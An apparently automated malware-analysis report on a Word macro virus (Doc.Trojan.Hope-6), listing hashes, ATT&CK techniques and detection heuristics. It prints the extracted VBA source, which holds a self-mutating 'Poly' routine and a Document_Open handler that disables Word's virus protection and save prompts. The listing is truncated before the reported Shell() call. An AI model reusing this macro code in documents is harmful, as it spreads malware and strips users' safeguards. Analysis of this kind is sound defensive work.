Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3d8e4b5547bb4f0a…

MALICIOUS

Office (OLE)

50.5 KB Created: 2000-03-15 10:12:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5c0559a7e38697fe8701ff637db0f7c0 SHA-1: fcf5adf5b1855b52740b7ee3ec0b1cb46146bfdd SHA-256: 3d8e4b5547bb4f0a2d63e0cce7d1cc2387115699c94d7529c6b3ad3fba7eee7c
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the Document_Open macro firing and the OLE_VBA_PCODE_AUTOEXEC_EXEC heuristic. This macro utilizes the Shell() function, a critical finding, suggesting it is designed to execute external commands or download additional malicious content. The ClamAV detections further confirm its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Hope-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-6
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11582 bytes
SHA-256: 985ab90d2aa19330905d0a536b2e69349b561d54d61848fa5189beefb735dbc5
Detection
ClamAV: Win.Trojan.W-420
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Poly()
On Error Resume Next
Application.ScreenUpdating = False
    'JMDDEBSNOFMTTKXTCQSALKHZUSKTHJLYDQJCECLYOMZFJKHNDNZOXRLSBTSMEFIUBNTUIZURXWKDYUS
    'JMDDEBSNOFMTTKXTCQSALKHZUSKTHJLYDQJCECLYOMZFJKHNDNZOXRLSBTSMEFIUBNTUIZURXWKDYUS
    'JMDDEBSNOFMTTKXTCQSALKHZUSKTHJLYDQJCECLYOMZFJKHNDNZOXRLSBTSMEFIUBNTUIZURXWKDYUS
    'JMDDEBSNOFMTTKXTCQSALKHZUSKTHJLYDQJCECLYOMZFJKHNDNZOXRLSBTSMEFIUBNTUIZURXWKDYUS
    'JMDDEBSNOFMTTKXTCQSALKHZUSKTHJLYDQJCECLYOMZFJKHNDNZOXRLSBTSMEFIUBNTUIZURXWKDYUS
Set Current = MacroContainer
    'JMDDEBSNOFMTTKXTCQSALKHZUSKTHJLYDQJCECLYOMZFJKHNDNZOXRLSBTSMEFIUBNTUIZURXWKDYUS
    'JMDDEBSNOFMTTKXTCQSALKHZUSKTHJLYDQJCECLYOMZFJKHNDNZOXRLSBTSMEFIUBNTUIZURXWKDYUS
    'JMDDEBSNOFMTTKXTCQSALKHZUSKTHJLYDQJCECLYOMZFJKHNDNZOXRLSBTSMEFIUBNTUIZURXWKDYUS
    'JMDDEBSNOFMTTKXTCQSALKHZUSKTHJLYDQJCECLYOMZFJKHNDNZOXRLSBTSMEFIUBNTUIZURXWKDYUS
For Grow = 1 To 20
Number = Current.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
RandomLine = Int(Rnd() * Number + 1)
RemarkLength = Int(Rnd() * 99 + 1)
For Length = 1 To RemarkLength
    'WPSDGAVUUILOUOFFJOINLOBOFZYZVKUZGESAISCCHKOIHVIJKVKSRKYQNFPTLXHRXHJAHZTPPGNUWCOKBLSMKYZPNPCEHADKO
Remark = Remark + Chr$(Int((90 - 65 + 1) * Rnd + 65))
    'WVKMJGUONQCSGBHYIQJJIFFLQGRPPCBDGKPHVXNKAGEQZIG
    'WPSDGAVUUILOUOFFJOINLOBOFZYZVKUZGESAISCCHKOIHVIJKVKSRKYQNFPTLXHRXHJAHZTPPGNUWCOKBLSMKYZPNPCEHADKO
Next Length
    'WPSDGAVUUILOUOFFJOINLOBOFZYZVKUZGESAISCCHKOIHVIJKVKSRKYQNFPTLXHRXHJAHZTPPGNUWCOKBLSMKYZPNPCEHADKO
    'WVKMJGUONQCSGBHYIQJJIFFLQGRPPCBDGKPHVXNKAGEQZIG
Current.VBProject.VBComponents.Item(1).CodeModule.InsertLines RandomLine, vbTab & "'" & Remark
    'WPSDGAVUUILOUOFFJOINLOBOFZYZVKUZGESAISCCHKOIHVIJKVKSRKYQNFPTLXHRXHJAHZTPPGNUWCOKBLSMKYZPNPCEHADKO
    'WVKMJGUONQCSGBHYIQJJIFFLQGRPPCBDGKPHVXNKAGEQZIG
Remark = ""
    'WPSDGAVUUILOUOFFJOINLOBOFZYZVKUZGESAISCCHKOIHVIJKVKSRKYQNFPTLXHRXHJAHZTPPGNUWCOKBLSMKYZPNPCEHADKO
Next Grow
    'WVKMJGUONQCSGBHYIQJJIFFLQGRPPCBDGKPHVXNKAGEQZIG
    'WPSDGAVUUILOUOFFJOINLOBOFZYZVKUZGESAISCCHKOIHVIJKVKSRKYQNFPTLXHRXHJAHZTPPGNUWCOKBLSMKYZPNPCEHADKO
    'HWIUEHBMLPAIDITQZVOPEXIPPTSRTGONOHKJZNPMAJDRDFJCQSLKISFBXBLTTV
    'WPSDGAVUUILOUOFFJOINLOBOFZYZVKUZGESAISCCHKOIHVIJKVKSRKYQNFPTLXHRXHJAHZTPPGNUWCOKBLSMKYZPNPCEHADKO
    'WVKMJGUONQCSGBHYIQJJIFFLQGRPPCBDGKPHVXNKAGEQZIG
End Sub
    'WPSDGAVUUILOUOFFJOINLOBOFZYZVKUZGESAISCCHKOIHVIJKVKSRKYQNFPTLXHRXHJAHZTPPGNUWCOKBLSMKYZPNPCEHADKO
    'WVKMJGUONQCSGBHYIQJJIFFLQGRPPCBDGKPHVXNKAGEQZIG
Private Sub Document_Open()
    'WPSDGAVUUILOUOFFJOINLOBOFZYZVKUZGESAISCCHKOIHVIJKVKSRKYQNFPTLXHRXHJAHZTPPGNUWCOKBLSMKYZPNPCEHADKO
    'WVKMJGUONQCSGBHYIQJJIFFLQGRPPCBDGKPHVXNKAGEQZIG
    'HWIUEHBMLPAIDITQZVOPEXIPPTSRTGONOHKJZNPMAJDRDFJCQSLKISFBXBLTTV
    'WVKMJGUONQCSGBHYIQJJIFFLQGRPPCBDGKPHVXNKAGEQZIG
Options.VirusProtection = 0
    'LUJKTLSNEHCZ
    'WVKMJGUONQCSGBHYIQJJIFFLQGRPPCBDGKPHVXNKAGEQZIG
    'HWIUEHBMLPAIDITQZVOPEXIPPTSRTGONOHKJZNPMAJDRDFJCQSLKISFBXBLTTV
Options.SaveNormalPrompt = 0
    'HWIUEHBMLPAIDITQZVOPEXIPPTSRTGONOHKJZNPMAJDRDFJCQSLKISFBXBLTTV
    'EEQKKSIQFEPCLXGUJHXQQLCOSXVA
    'LUJKTLSNEHCZ
    'HWIUEHBMLPAIDITQZVOPEXIPPTSRTGONOHKJZNPMAJDRDFJCQSLKISFBXBLTTV
    'NHPFCXCQXGYWLMUVJFIKDQCFSNEZMALHTXVECADJ
    'EE
    'HWIUEHBMLPAIDITQZVOPEXIPPTSRTGONOHKJZNPMAJDRDFJCQSLKISFBXBLTTV
    'LUJKTLSNEHCZ
    'HWIUEHBMLPAIDITQZVOPEXIPPTSRTGONOHKJZNPMAJDRDFJCQSLKISFBXBLTTV
    'EEQKKSIQFEPCLXGUJHXQQLCOSXVA
    'NHPFCXCQXGYWLMUVJFIKDQCFSNEZMALHTXVECADJ
    'HWIUEHBMLPAIDITQZVOPEXIPPTSRTGONOHKJZNPMAJDRDFJCQSLKISFBXBLTTV
    'LUJKTLSNEHCZ
    'EE
    'HWIUEHBMLPAIDITQZVOPEXIPPTSRTGONOHKJZNPMAJDRDFJCQSLKISFBXBLTTV
    'LUJKTLSNEHCZ
    'NHPFCXCQXGYWLMUVJFIKDQCFSNEZMALHTXVECADJ
    'EEQKKSIQFEPCLXGUJHXQQLCOSXVA
    'LUJKTLSNEHCZ
    'EE
    'NHPFCXCQXGYWLMUVJFIKDQCFSNEZMALHTXVECADJ
    'L
... (truncated)